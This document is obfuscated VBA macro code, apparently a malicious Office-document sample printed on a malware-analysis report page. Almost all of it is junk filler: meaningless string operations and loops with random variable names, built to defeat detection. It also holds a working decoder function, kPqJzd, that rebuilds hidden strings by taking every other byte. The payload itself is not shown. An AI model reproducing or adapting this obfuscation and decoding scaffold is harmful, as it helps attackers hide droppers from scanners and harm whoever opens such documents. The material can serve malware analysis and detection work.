    sniWiailvR = LTrim("j#FE.AKr(&i&Ya")
    wyfSuaxkXT = StrReverse("(Ii@uDKNFDl")
    AANYSo = "SwQvYyVAIVnDYGgliVqQtRaHPhqX"
End Function

Private Function jrsAwZ(pfUAJQD As Boolean, lXUAXUN As Double, QSiKil As Double, PBiiwRe As Boolean, wRGTit As Boolean) As String
    wyfSuaxkXT = LTrim("*ERcYtjYYFy!QAy")
    PBkhoBoPA = 493 + 894 + 362
    PBkhoBoPA = StrReverse("?iX@#VIThlg]LGiVj$^D")
    ExtWkSjHmG = StrReverse("OTkcG!)?nqTECYUBbcH")
    PBkhoBoPA = UCase("IE%jJ]!^_IVI#Oiux")
    wyfSuaxkXT = 209 - 1802 - 1196
    jpfCyx = "]&mQExsuFiRy" + "Lu#mU#cHxnn." + "RWfqRrEENjBv-c%_bs"
    nVPFomxUAY = RTrim("TpGP)NeDb[")
    ExtWkSjHmG = LTrim("a!mJA^?b-SDzhO lf")
    ExtWkSjHmG = 1356 - 1617 - 125
    ExtWkSjHmG = Right(" sRkMyH&xn-lPHy", 3)
    KeVfNTceB = 876 + 560 + 1915
    KeVfNTceB = Left("TeLMr^%WPe.VT", 3)
    wyfSuaxkXT = 557 + 1841 + 1756
    ExtWkSjHmG = 1967 - 966 - 804
    wyfSuaxkXT = StrReverse("H.wizZ#OPx@")
    wyfSuaxkXT = UCase("$[KrIN_djpoHiL&U R")
    ObMxnU = Left("]T_xf]cbThw$s]?&", 4)
    ExtWkSjHmG = StrReverse("Bp@cTMfLD$tRqxQsVkI")
    ExtWkSjHmG = 1668 + 855 + 1374
    wyfSuaxkXT = 410 - 1304 - 138
    KeVfNTceB = 791 - 1514 - 327
    tfAzDXRV = UCase("qx*o_rvRJn#Q")
    tfAzDXRV = "UudSKRa$pOt%" + "gaHK[ix-*RHCikL" + "pARy.k_MUhsRI)S"
    KeVfNTceB = StrReverse("Soq^HJu^h.xHq_vXUjf!")
    While iXyxps < 148
        ObMxnU = 1550 + 993 + 241
        PBkhoBoPA = StrReverse("&tUFSus&)Ld!^A$q%NCk")
        tfAzDXRV = Space(12)
        KeVfNTceB = Space(8)
        uIwYPe = RTrim("$e*?r$k_*^@DO.Yd")
        iXyxps = iXyxps + 1
    Wend

    sniWiailvR = StrReverse("(wT!aMuAxLoThv@bMn")
    PBkhoBoPA = Right("K!K^vJ(ZO@", 3)
    For zfOgdD = 0 To 120
        wyfSuaxkXT = "ehs^]_qSAM^B&K(BTS" + "pjhPvTS[[yVX-ALo!Usf" + "-xuvh$C%KoHxmSZ%G"
        wyfSuaxkXT = StrReverse("(MZFLZjGDQT")
        PBkhoBoPA = 1469 + 1695 + 1619
        ObMxnU = Left(".?Osc]FFwHreQ", 5)
        ObMxnU = "fiW.KDzU!SSfD" + "K%ORk[knKjCJLYPS[?" + ".nn-? bJ.sxI$&V"
        ExtWkSjHmG = Left("g%z&_l?mX*", 5)
        KeVfNTceB = StrReverse("BeIh!* ug&.MHS($")
        sniWiailvR = "dYq.nawC_!Kf kctRL" + "(bMoX#rtXR" + "tuicZPVVJEQm* ["
        nVPFomxUAY = StrReverse(".#VgY$AtBRFfnF")
        sniWiailvR = LTrim(")-Pf__#]S!fZKZc")
    Next zfOgdD

    jpfCyx = Right("BYpZpF^LQFSRswsHi", 5)
    jrsAwZ = "CNSxMgUnylchjUfglaaXaBiMPMcBMU"
End Function

Private Sub PlwYXm(IeHtoit As String, uPqvwI As Integer, BqsEVOH As Boolean)
    tfAzDXRV = StrReverse("rLCQtw@NKIs")
    jpfCyx = RTrim("uZrJTz_W?*]qcxD")
    PBkhoBoPA = UCase("ZfUl$BxxdLoI(kSUPf")
    While SZShfs < 358
        sniWiailvR = Left("W)pG[rU@FFRaYHHMlt", 5)
        ExtWkSjHmG = Right("BFjJ&DJFm.", 2)
        KeVfNTceB = StrReverse("%[N#ltSc?hB")
        nVPFomxUAY = "%AxT[jhGaUh" + " fEhkKJV(byXXRfb]" + "KkYuvnrBBMyZyvw.raN"
        SZShfs = SZShfs + 3
    Wend

    ExtWkSjHmG = 554 + 1289 + 1955
    KeVfNTceB = "HWL(uTEywZO" + "Pa%r[Q&?UmLm%R" + "X*Pwk#sMjpK"
    wyfSuaxkXT = StrReverse("P^MsNlLKziKsg!")
    jpfCyx = Left("AN!zcdq(zewd[trvAP", 4)
    sniWiailvR = 1796 - 1898 - 270
    ExtWkSjHmG = RTrim("*r^$)dbSlQ^HBSnpGe")
    tfAzDXRV = Left(".uIHzSv%eVxDd", 3)
    ObMxnU = Space(1)
    nVPFomxUAY = 1088 - 551 - 1357
    ObMxnU = Space(14)
    tfAzDXRV = 1618 - 1535 - 1946
    jpfCyx = LTrim("F^VDpFd]-oc")
    sniWiailvR = LTrim("_tJ(TO(!Tsg^by")
    ExtWkSjHmG = LTrim("hYPYSL&KjJ(ycU[Im")
    While mgpKiz < 94
        tfAzDXRV = Left("!Jq@uqsRmxT!", 4)
        wyfSuaxkXT = StrReverse("VT wRa##e*Da")
        nVPFomxUAY = UCase(" eiJF%(Ahqm(o^KIB")
        tfAzDXRV = Space(18)
        uIwYPe = 560 + 1673 + 250
        sniWiailvR = RTrim("#Qjeo#..eI!qo")
        ObMxnU = RTrim("MFVhHB[hUrfiZ-jB*ZX.")
        uIwYPe = 1990 + 1599 + 141
        mgpKiz = mgpKiz + 3
    Wend

    While vuRklb < 396
        KeVfNTceB = Left("BwaSOJoxPJ[YyFe)@Ec", 4)
        tfAzDXRV = 1378 - 1603 - 1163
        tfAzDXRV = RTrim("T]zrwDwin&K#.")
        ObMxnU = 363 + 787 + 1153
        sniWiailvR = LTrim("YAgrf?yk&dAhrdG")
        ObMxnU = Right("NEX-qy-tEj*]FhiPMc e", 2)
        wyfSuaxkXT = 800 + 1058 + 930
        PBkhoBoPA = Right("bZ@eMy z#VWWA_#q^mA", 2)
        vuRklb = vuRklb + 2
    Wend

    nVPFomxUAY = Space(1)
    wyfSuaxkXT = "MA@-b ^Ft#DyCmZg" + "X.yoUtbbjHar" + "D? YGNv!hZ!ia"
    nVPFomxUAY = 521 - 1287 - 1250
    tfAzDXRV = LTrim("]^zcW@PXhgr")
    uIwYPe = Left("#BCKLjfv[TxUoSwKQ", 3)
    ExtWkSjHmG = 396 + 109 + 1784
    sniWiailvR = RTrim("*MHnL vqjR)&N")
    ExtWkSjHmG = Space(15)
    wyfSuaxkXT = LTrim("pg-GF )MtlQ v.")
    wyfSuaxkXT = 1684 - 248 - 118
End Sub

Private Sub IVIJun(cZVoOW As Integer)
    jpfCyx = StrReverse("Ycwzm.paHQi")
    sniWiailvR = "DJIw.&ZWozQyh*Uce*xh" + "yzrHmSXVdTv]g QiOcj" + " up)XbqruSijqp&"
    jpfCyx = StrReverse("tjg]qwe#h(")
    jpfCyx = 1457 - 734 - 1099
    tfAzDXRV = Space(10)
    jpfCyx = UCase("#yTmYABP&iO@gxexEcE")
    ExtWkSjHmG = StrReverse("i#xuHrlAV._")
    jpfCyx = 110 + 1198 + 527
    KeVfNTceB = Left("p$.vas$k)lgIDlc", 3)
    ObMxnU = Right("stAfmnWWpm@L", 3)
    For izWegs = 0 To 301
        jpfCyx = RTrim("HTJKS!VYLfe")
        KeVfNTceB = 357 + 499 + 1802
        ExtWkSjHmG = UCase("gWpCUlwr%@_zoPvMit")
        wyfSuaxkXT = RTrim("AbUx?o(KFMVY?&fB?EF?")
        nVPFomxUAY = RTrim("JWpnr]dMoYvzycIMYN")
    Next izWegs

    KeVfNTceB = "*eH-GOnPuz[g(z!%sQx" + "iE(mSBz_$$rAEq.EBq" + ".apfdub(mMb(ZE-r"
    ExtWkSjHmG = Space(5)
    ExtWkSjHmG = Right("v!_POHbS.i?cS](*gmOg", 5)
    ExtWkSjHmG = LTrim("mXQHzoid?oyfVzmb-VES")
    For EgtcHW = 0 To 83
        KeVfNTceB = LTrim("ewcVMxL*NDPoh")
        sniWiailvR = LTrim("uAU-zcZ-SGUUPlsCSI_G")
    Next EgtcHW

    nVPFomxUAY = StrReverse("*ZNTNksJmRjt.EyY!Hfe")
    ExtWkSjHmG = StrReverse("E.zD$sjc(ZcV.A#nc.d")
    wyfSuaxkXT = StrReverse("Ve^yFn_)?zg#w!sqY)q!")
    ObMxnU = Right("m?XqBzbF@DR QjUM_S", 3)
    sniWiailvR = "iZd(G&_ OOaU^jBBzm" + ".@GkGqopsUd!W-?" + "Qkan_q?mPWc?Lv Rwnsk"
    ExtWkSjHmG = RTrim("A??S-.]VLo?L$NBPIPB%")
    For FbDRTi = 0 To 280
        jpfCyx = Right("mbEYldGvmSEHkXzX[", 3)
        sniWiailvR = RTrim("LHmB!dwssP#I]")
        uIwYPe = UCase("yqNR]OWPXh?!AxaJtL.c")
        PBkhoBoPA = RTrim("^G-N)Gwmas$")
    Next FbDRTi

    wyfSuaxkXT = 835 - 1203 - 519
    tfAzDXRV = "^zCU?InaK)sVSJOuRA[" + "JLL[oUae&hu#!Z" + "nfK^ecQdVcJR*BbOB"
    PBkhoBoPA = LTrim("Iuh! YFpyg*")
    tfAzDXRV = Left("Mcm^MDYMgdJ#ieX ", 3)
    wyfSuaxkXT = LTrim("TOV]]I*BKmxW)tpK")
    nVPFomxUAY = 1168 + 1325 + 1953
    PBkhoBoPA = UCase("pCK $)GLN?PiRI^j@")
    wyfSuaxkXT = UCase("(kH]tK*Ljy^[e")
    jpfCyx = 1385 - 857 - 1383
    ExtWkSjHmG = StrReverse("I%!H.%#UV-N.x_jYJ")
    uIwYPe = Left("hyH]fUrU@TIWTWeH)", 5)
    jpfCyx = 1805 - 370 - 780
    KeVfNTceB = UCase("@R#C-Zyh](!")
End Sub

Public Function kPqJzd(IEVsUtj As String) As String
    Dim KZEtDIQx() As Byte
    Dim NUTnPP(4233) As Byte
    ObMxnU = 1187 + 1367 + 1035
    sniWiailvR = Space(18)
    While QKKCWM < 78
        ExtWkSjHmG = StrReverse("!CbrxO)-Ta!SvO!xl")
        tfAzDXRV = RTrim("W]J@yhfR %PnEsiqXfw")
        ExtWkSjHmG = RTrim("le#!fH)WEMgDSRNz")
        PBkhoBoPA = "kfn$!ojt-QYK" + "j%awSA_NvvCa.d@?AnTY" + "c$llaZlnD *uqDNYEExw"
        nVPFomxUAY = UCase("qjNxAt@]%Uq.NAv")
        ObMxnU = Space(10)
        sniWiailvR = "FK@bfYDpSeL@Q!MJHEev" + "eDvOqOs-)R" + "nMDXvjpkR?RV(qk$N"
        QKKCWM = QKKCWM + 1
    Wend
    ExtWkSjHmG = Space(14)
    nNAweK = 0
    PBkhoBoPA = RTrim("K !#ZnO?Wnplb")
    For KDDrqi = 0 To 359
        tfAzDXRV = UCase("UFJKprbimxLA)Hs")
        jpfCyx = StrReverse("Eg[IGTrD!Zh.Cv&")
        ExtWkSjHmG = LTrim("oRab-up.*(ih")
        ObMxnU = StrReverse("Si^k_TTEV#ub")
    Next KDDrqi
    KZEtDIQx = StrConv(IEVsUtj, vbFromUnicode)
    wyfSuaxkXT = Right("n*(Af)L]K$", 3)
    nVPFomxUAY = Space(9)
    sniWiailvR = Space(20)
    ExtWkSjHmG = "mLo (V)!t?Y]" + "JXNHlri(cW" + "Sy .@Syjts K[$l("
    For QPMgVRPH = 0 To UBound(KZEtDIQx) - 1
        If (QPMgVRPH Mod 2 = 0) Then
        While FCnaPu < 84
            tfAzDXRV = UCase("ItpgSmKJLkM")
            ExtWkSjHmG = 768 + 986 + 1573
            nVPFomxUAY = "U)zvGL_*]#)FWKB" + "%F^O^LEzqNbdp?" + "(ZMriH[.?lfTirIR-"
            tfAzDXRV = Space(11)
            FCnaPu = FCnaPu + 2
        Wend
        PBkhoBoPA = StrReverse("habdh!-XzYINnoyn")
        uIwYPe = LTrim("qJRzjWBjf-X$PDL")
        nVPFomxUAY = Right("GUAW]OldPitd)M", 3)
        nVPFomxUAY = Right("sYh[OywSl(RVgG(sI", 4)
            NUTnPP(nNAweK) = KZEtDIQx(QPMgVRPH)
            tfAzDXRV = LTrim("bDCoTi-x-&n")
            PBkhoBoPA = Left("eL %ry&D*$", 4)
            PBkhoBoPA = StrReverse(")uRLYN_mfWg]#Z.J[ad")
            While jaznEt < 34
                sniWiailvR = "CJnixFTXpIboKXHG)MC" + "*nr%A.rMRTkC#" + "CTvphsTy[zBIon*#Fi&n"
                wyfSuaxkXT = RTrim("h[ *hAz$npnflQG")
                jpfCyx = 535 + 1063 + 1764
                nVPFomxUAY = StrReverse("]cJVZboDpcGEn^vSrOdf")
                ObMxnU = RTrim("GBrJYA]! &&fpaUHnB")
                uIwYPe = 204 - 1397 - 1433
                ObMxnU = 242 + 1346 + 382
                jpfCyx = RTrim("pSJXYxPk !m]uaJ")
                wyfSuaxkXT = StrReverse(")Q.n!%_ $LBG")
                wyfSuaxkXT = Right("Ze)-bhbQjYSX.!j", 3)
                jaznEt = jaznEt + 2
            Wend
            nNAweK = nNAweK + 2 - 1
            While XXjeEQ < 364
                uIwYPe = RTrim(" %AMDmAk*h?#-_sF")
                ExtWkSjHmG = Right("_NF-@)ObggOIL)", 4)
                PBkhoBoPA = 372 - 522 - 343
                tfAzDXRV = Left("^zDc[ZvB) ", 2)
                wyfSuaxkXT = StrReverse("R*VMNpnwlhX?@mZQ!")
                tfAzDXRV = 680 - 1051 - 1043
                ExtWkSjHmG = 695 - 1132 - 695
                nVPFomxUAY = 846 + 914 + 150
                XXjeEQ = XXjeEQ + 1
            Wend
            tfAzDXRV = Left("rJu^zeHq&Uep$fzS(_a", 5)
            While jiJFFy < 274
                uIwYPe = Right("n #mDPW?s_gj(zSpS", 5)
                sniWiailvR = RTrim("d@Ro(&wb.Wp")
                KeVfNTceB = RTrim("GPFGjpLu(H")
                jpfCyx = UCase(" -h_vaNlk.otU%J")
                nVPFomxUAY = 535 + 1245 + 543
                wyfSuaxkXT = StrReverse("VSz&f!nAjjm")
                jiJFFy = jiJFFy + 2
            Wend
            ObMxnU = StrReverse("(^%lJXQD*[hy$&FH.lPr")
            For iptKkd = 0 To 324
                uIwYPe = RTrim("ST$zE.*cihN@EH%]vB")
                KeVfNTceB = 197 + 839 + 520
                sniWiailvR = Right("A^XikvDCDq%fyjh)qS", 5)
                uIwYPe = UCase("oMqD*NGPI&_Pn")
                ExtWkSjHmG = StrReverse("HR])-!m@n&OkqnPo")
                PBkhoBoPA = Right("kjiUstS]cwcHDv*&", 5)
            Next iptKkd
        End If
    Next QPMgVRPH
    PBkhoBoPA = Right("ZdgFqi!f_HUMrCIO", 5)
    KeVfNTceB = 1128 - 1104 - 169
    ExtWkSjHmG = StrReverse("[HkH@_?xTrh^!sJ")
    jpfCyx = RTrim("d(V[dCPi^.dhDuc")
    kPqJzd = StrConv(NUTnPP, vbUnicode)
    tfAzDXRV = StrReverse("R$M*ba_f&s$ETa")
End Function
Private Sub LXSDhS(xmePOZM As Integer, nHLdAnb As String, TQPeqzu As Double, HEAUOH As Boolean)
    jpfCyx = 1214 - 153 - 165
    For UWbyNF = 0 To 195
        jpfCyx = Right("L-.SMQl%aDBSI", 3)
        nVPFomxUAY = Right("uJk#yrvKagw(iHK#rb^%", 4)
        KeVfNTceB = Space(17)
        jpfCyx = UCase("usQUhMjShH]T!q")
        sniWiailvR = Space(3)
        PBkhoBoPA = StrReverse("JTvuu$]Oq?h(*w%U")
        jpfCyx = 311 - 1645 - 968
    Next UWbyNF

    tfAzDXRV = UCase("H*KJ$ZvKao?EwG*lyK_")
    jpfCyx = Space(4)
    jpfCyx = "BbPQtNHRlyfZGY" + "xuFnNFs@rHOa" + "szH?abLPcWBJzwN%oH.J"
    ObMxnU = 959 + 962 + 543
    nVPFomxUAY = Space(4)
    While YBAVxu < 74
        ObMxnU = Space(1)
        jpfCyx = LTrim("&Ad?a]Xo)]!")
        nVPFomxUAY = UCase("V)JrOe-vNTDjpDI?pwGg")
        uIwYPe = "EMg)z?eFiMV?VUoNqfwS" + "&P$V$QS^%iA]%[(" + "$g*$ Dpc]!x("
        tfAzDXRV = Space(1)
        YBAVxu = YBAVxu + 2
    Wend

    uIwYPe = Left("[QUTui]fjZ_", 4)
    PBkhoBoPA = LTrim("^]rZq!ePK%bdXs?")
    KeVfNTceB = LTrim("opNYrstaKTWxMwo")
    While NFHQtC < 166
        PBkhoBoPA = UCase("RXcqhmFtf wE")
        wyfSuaxkXT = 871 - 990 - 345
        PBkhoBoPA = Space(10)
        uIwYPe = RTrim("ZNRViEw(C]%kIIMa ")
        PBkhoBoPA = 866 + 835 + 1272
        tfAzDXRV = LTrim("wjkuxTLkCQHJT#*Q$")
        NFHQtC = NFHQtC + 1
    Wend

    uIwYPe = LTrim("@fn?om!T(-z.Y")
    uIwYPe = UCase("m-A]woksoJPhumLF")
    sniWiailvR = Right("pC(XQFK)qLWKSdVTbSQV", 4)
    wyfSuaxkXT = StrReverse("aM^WR PaHIndnB&")
    ExtWkSjHmG = LTrim("zuBwJwJW[- sk")
    ObMxnU = LTrim("lw#s*$QdXW*")
    KeVfNTceB = 1044 + 625 + 1639
    wyfSuaxkXT = Space(19)
    uIwYPe = RTrim("GcP%Hu@pd^vp)iTW")
End Sub

Private Sub QsMoDA(qLVtrWJ As Double, TRpQiit As Boolean, DykyIfv As String)
    tfAzDXRV = Right("Q!tH_LCWPf($SKm)r", 4)
    tfAzDXRV = Space(3)
    ObMxnU = 1657 - 576 - 137
    ExtWkSjHmG = Space(4)
    nVPFomxUAY = Left("tw*SzikQrwqxYlR", 4)
    KeVfNTceB = StrReverse("H*sjS&NOuyh")
    KeVfNTceB = RTrim("diWQRBuP@(p^rAb")
    PBkhoBoPA = Space(8)
    nVPFomxUAY = Space(16)
    PBkhoBoPA = 948 + 343 + 341
    uIwYPe = 1688 - 542 - 826
    tfAzDXRV = 1624 + 754 + 1677
    KeVfNTceB = Right(" OniuBpmOIKd(", 4)
    uIwYPe = 1951 - 488 - 1999
    nVPFomxUAY = 724 + 1842 + 1990
    ObMxnU = UCase("j!TmxIM-UQB")
    ObMxnU = Right("!X_Quo$MLlkMW@", 5)
    nVPFomxUAY = 1753 + 1693 + 660
    ExtWkSjHmG = UCase("A%x*fHnPB)k&&YIMe")
    ExtWkSjHmG = "NFjkxmUtrYA#)s" + ".gthV[gF&C^lZqiMb?WD" + "&^D)p^gi*[@j&kEpBc"
    For nNxddJ = 0 To 34
        wyfSuaxkXT = Left("qvclFVA_#hZ?Hc", 4)
        tfAzDXRV = RTrim("Dcoc#[rJIhek")
        sniWiailvR = 595 + 1920 + 1564
        wyfSuaxkXT = "M(kZy%Wpdg" + "k*@?hdC%zKy_V" + "Gzlf^XU^oU^*"
        sniWiailvR = 897 - 501 - 1522
        uIwYPe = RTrim("Ig$O_ugu[e#twS")
        PBkhoBoPA = RTrim("fPNeiEwWwaReLiAxk]nQ")
    Next nNxddJ

    nVPFomxUAY = Right("z$_CJ#_!TtS]oy%$*B*F", 2)
    PBkhoBoPA = 1247 - 905 - 649
    ObMxnU = Space(17)
    tfAzDXRV = UCase("ET&aE^*uu@.rYA")
    ObMxnU = Right("OGsxXsdGyyP)%v]?jz*", 4)
    jpfCyx = Right("tt..coFsTo$PudsyAxm)", 2)
    uIwYPe = Left("sPYpJY.zkL", 3)
    jpfCyx = StrReverse("MV*OZ$w(aoMjO?QZX")
    PBkhoBoPA = Right("p].lBbzaazCaIcGJE ", 2)
    ObMxnU = Space(15)
    PBkhoBoPA = "vw#NP% wwrN" + "wqbX!?VN[JXRKJAYi" + "TASpdwRjyh-CvGMD?"
    PBkhoBoPA = Left("y(Xv@V.aC_", 5)
    ExtWkSjHmG = RTrim("J.IJNPiq&V*mzn^U-)]")
End Sub

Private Sub Thpdxl(tyngaKg As String, pbcsCE As Double, BSVpKwn As Boolean, qhRsKbX As Boolean)
    wyfSuaxkXT = RTrim("tkj%o_Pq]@ckE$n]Ff%e")
    tfAzDXRV = 1452 - 854 - 742
    sniWiailvR = RTrim("EDab(TwfC(KO!aZJ")
    While RwxyvL < 83
        tfAzDXRV = RTrim("TZG(v mrS$w%")
        ObMxnU = LTrim("Z.f))eVOoqt*GIhUhyx(")
        KeVfNTceB = UCase("j jtnVUo?EL&DwpdE")
        uIwYPe = UCase("nN[RyfuEY&[AknO#bP")
        sniWiailvR = Left("t@XaS](wAA", 4)
        nVPFomxUAY = Left("m)GU#X-oeahZ", 4)
        ExtWkSjHmG = 1642 + 383 + 1683
        tfAzDXRV = StrReverse("fhZitu[LIqAjkL)c")
        RwxyvL = RwxyvL + 2
    Wend

    ExtWkSjHmG = RTrim("NE[vbqSK)p&E")
    uIwYPe = 598 - 1009 - 303
    ObMxnU = Right("U%hv(S ?E.q.B&$mU$O", 5)
    ExtWkSjHmG = Space(8)
    ObMxnU = StrReverse("J]tWUd$^qLn")
    wyfSuaxkXT = LTrim("x[J^jGPt(TSq_^V^XZ(")
    tfAzDXRV = Right("OMC)xfKQyw", 4)
    KeVfNTceB = Left("xd*(XA?lgSnV$_iNW? ", 3)
    ObMxnU = Left("h^#meGkakCQ*xR_ZT", 2)
    wyfSuaxkXT = UCase("$KtzR^SR#cnS")
    jpfCyx = UCase("-_g-zl ^O-y")
    nVPFomxUAY = UCase("v)Ub Im $h")
    jpfCyx = Space(16)
    ExtWkSjHmG = 1307 + 1119 + 1956
    ObMxnU = "YQ.&h?pGIY#pdAP" + "uywVlBmyKq" + "lye%[cYO_]gP)eZaAWq"
    PBkhoBoPA = RTrim("fbDSdQuk?(Cug")
    uIwYPe = RTrim("gMekE[hN*a F")
    sniWiailvR = Right("[qrMyp.ZFx Hm", 5)
    PBkhoBoPA = "zNVLwCHJRm)q!^U" + " JNTV&pJ)(Hq" + "_azfBBjvQ?[]yBwz"
    jpfCyx = StrReverse("vwrr(EqLJJ@qaf^$")
    KeVfNTceB = LTrim("Bk-xNfmI$vqGV]y")
    KeVfNTceB = "@eJKylXFxFzYAGYV*GNT" + ")@KxhPWo[@I#" + "Z^-tSeSgWF!eWeyfJD.r"
    tfAzDXRV = "esZn!%m$[ KXIU" + "fyhAPlGMLV)Vqkdf-#" + "GLq*cRCYRBt@os#%"
    ObMxnU = StrReverse("$(DvrSJEOP%!YX")
    jpfCyx = 623 - 1635 - 464
    wyfSuaxkXT = Left("vWhdfqunO&Kup", 2)
    tfAzDXRV = LTrim("wM)Y?Jcj&nwf_e*lei")
End Sub

Private Function cwmVLd(ptGmka As Integer, zWTiQz As String, SnnXpWY As Boolean) As String
    ExtWkSjHmG = Right("Reu^GdRYIfvi!g", 3)
    ExtWkSjHmG = Space(14)
    For MrDdcp = 0 To 250
        jpfCyx = StrReverse("bWIJMiV@%JAZMrd")
        jpfCyx = RTrim("bJZTXOiRwF")
        wyfSuaxkXT = RTrim("(aiANTQ-* ")
        ExtWkSjHmG = LTrim("VgpE@$o^&$#sjJ%)Gu")
        tfAzDXRV = Left("hCYB.]Q^Xadj@i^", 3)
        wyfSuaxkXT = Right("iQAeYiqcwsmM@", 2)
        wyfSuaxkXT = 1796 - 1023 - 1912
        KeVfNTceB = UCase("a]DU&_#EK#Tt^S-(]LOz")
    Next MrDdcp

    ExtWkSjHmG = Right("JDlX$%mbS$*", 2)
    ExtWkSjHmG = "%%WTNa^e!q-.wk" + "NBvqaGwLpph&S#" + "NJIHAEGQRqnykBxI["
    KeVfNTceB = 1644 - 1352 - 1735
    PBkhoBoPA = StrReverse("fsP#DN-G_*-R")
    ExtWkSjHmG = Left("rEezhKH#g%g)I)", 4)
    For NOmIOZ = 0 To 345
        nVPFomxUAY = Left("A[af[nbf@NQHvjV", 4)
        KeVfNTceB = "S)RiZrd&Sq)[i-V#Nox" + "n(sr.Ug*Wq!& D" + "WRRpWDFTaq"
        PBkhoBoPA = 1518 - 791 - 1955
        PBkhoBoPA = UCase("Eyvn&&aUFeZrRtBqtBct")
        nVPFomxUAY = StrReverse("wrrjXfKECsu&-EskG$Ui")
        KeVfNTceB = StrReverse("v(e[cIwSGhW-FHz")
    Next NOmIOZ

    PBkhoBoPA = 317 + 1899 + 924
    While heCHEP < 343
        wyfSuaxkXT = Space(12)
        nVPFomxUAY = 1128 + 744 + 1324
        ExtWkSjHmG = 1992 + 1018 + 443
        uIwYPe = 1703 + 743 + 957
        heCHEP = heCHEP + 1
    Wend

    wyfSuaxkXT = "B]U@BjKfTVj_l" + "ut*.vpHn[dBZWG" + "(X_bPG?@?uA y.qC^"
    jpfCyx = LTrim("^X(L&JVLWhmZ.y")
    sniWiailvR = " m!.ih_XVz@LVtQG(W" + "zvq.aW$bu@-(uiMK$&" + "XQpg[OVHzq(RnGza"
    ObMxnU = Left("L!mwZFk^_O$CeKA?. T", 3)
    nVPFomxUAY = Left("%ABr$RcQKsYnI)C", 2)
    KeVfNTceB = UCase("VXko?YLGkWw")
    wyfSuaxkXT = 414 - 223 - 274
    wyfSuaxkXT = UCase("[mLqPz(UAl]TP&KcBeDV")
    uIwYPe = LTrim("AUg fiM&Rmuo]wo*Kvg")
    sniWiailvR = Right("mUCvs[LKbcTg", 5)
    ExtWkSjHmG = LTrim("s%eSb(OxLc].].jNFeo")
    ObMxnU = 525 - 1673 - 1238
    tfAzDXRV = "phAURz& uB)N" + "xf^CI$xSar GHOGTO" + "mf(!YAWY$dD"
    ObMxnU = Space(2)
    While QHtHyk < 14
        jpfCyx = LTrim("KSrh*nKU*k")
        ObMxnU = RTrim("uuiGkD*(ZghHn!([")
        KeVfNTceB = UCase("f*Q@LR$mZj OpuTzQlt")
        uIwYPe = LTrim("qeRKd&]KRxS$XY")
        ExtWkSjHmG = 1283 - 227 - 1347
        ExtWkSjHmG = 1216 - 515 - 491
        KeVfNTceB = Left("_Y%AkB(kmAN^", 5)
        ObMxnU = 948 + 124 + 505
        tfAzDXRV = "^tlrwE#!]XqqZ*@A" + "Gjc.cEL zLybLy#JA" + "lvstG]u*mXnXT)#k)Xu"
        QHtHyk = QHtHyk + 1
    Wend

    tfAzDXRV = Right("e[[*)qhyzP_", 2)
    ObMxnU = UCase("KTqf(^dnfvy[")
    KeVfNTceB = " oBdxvUI!-XU" + "eH@aOfx.YeuHSM" + "IS[Foutb!%GuAu"
    wyfSuaxkXT = Space(6)
    cwmVLd = "arrghXkVVBzHPZlSMKUSKMxOcQqqfO"
End Function

Private Sub JIxtdl(WgAIPNU As String, KkSgigW As Double, fyZnhhe As Double, myLDIcG As Integer)
    wyfSuaxkXT = UCase("!?TlVOQ rRddMsZh%")
    sniWiailvR = UCase("n%$v[ZfDytUB.VTjcz")
    PBkhoBoPA = UCase("?feUMK.td-e$W-j")
    jpfCyx = UCase("?AInMqRGkYe(vg%^X")
    sniWiailvR = StrReverse("SQS_iqHN-NaA(QsKo")
    wyfSuaxkXT = UCase("ixG$BXppK]x")
    uIwYPe = 909 + 1967 + 1629
    PBkhoBoPA = 440 + 898 + 756
    ExtWkSjHmG = StrReverse("sXmtF*?fgT(Qha!B")
    nVPFomxUAY = StrReverse("KlDnfUwH&].[l")
    uIwYPe = LTrim("q!S@yRZyRMfHXcR")
    PBkhoBoPA = StrReverse("^USC&FWTsk")
    While UoHYpO < 12
        nVPFomxUAY = Space(4)
        ExtWkSjHmG = Left("bhsBOvAl-I)TgrT&cYiV", 2)
        jpfCyx = 1739 - 1991 - 1831
        nVPFomxUAY = Left("zKQJ-wfBad%JY", 2)
…

Open this report in the interactive analyzer, or submit your own file for analysis.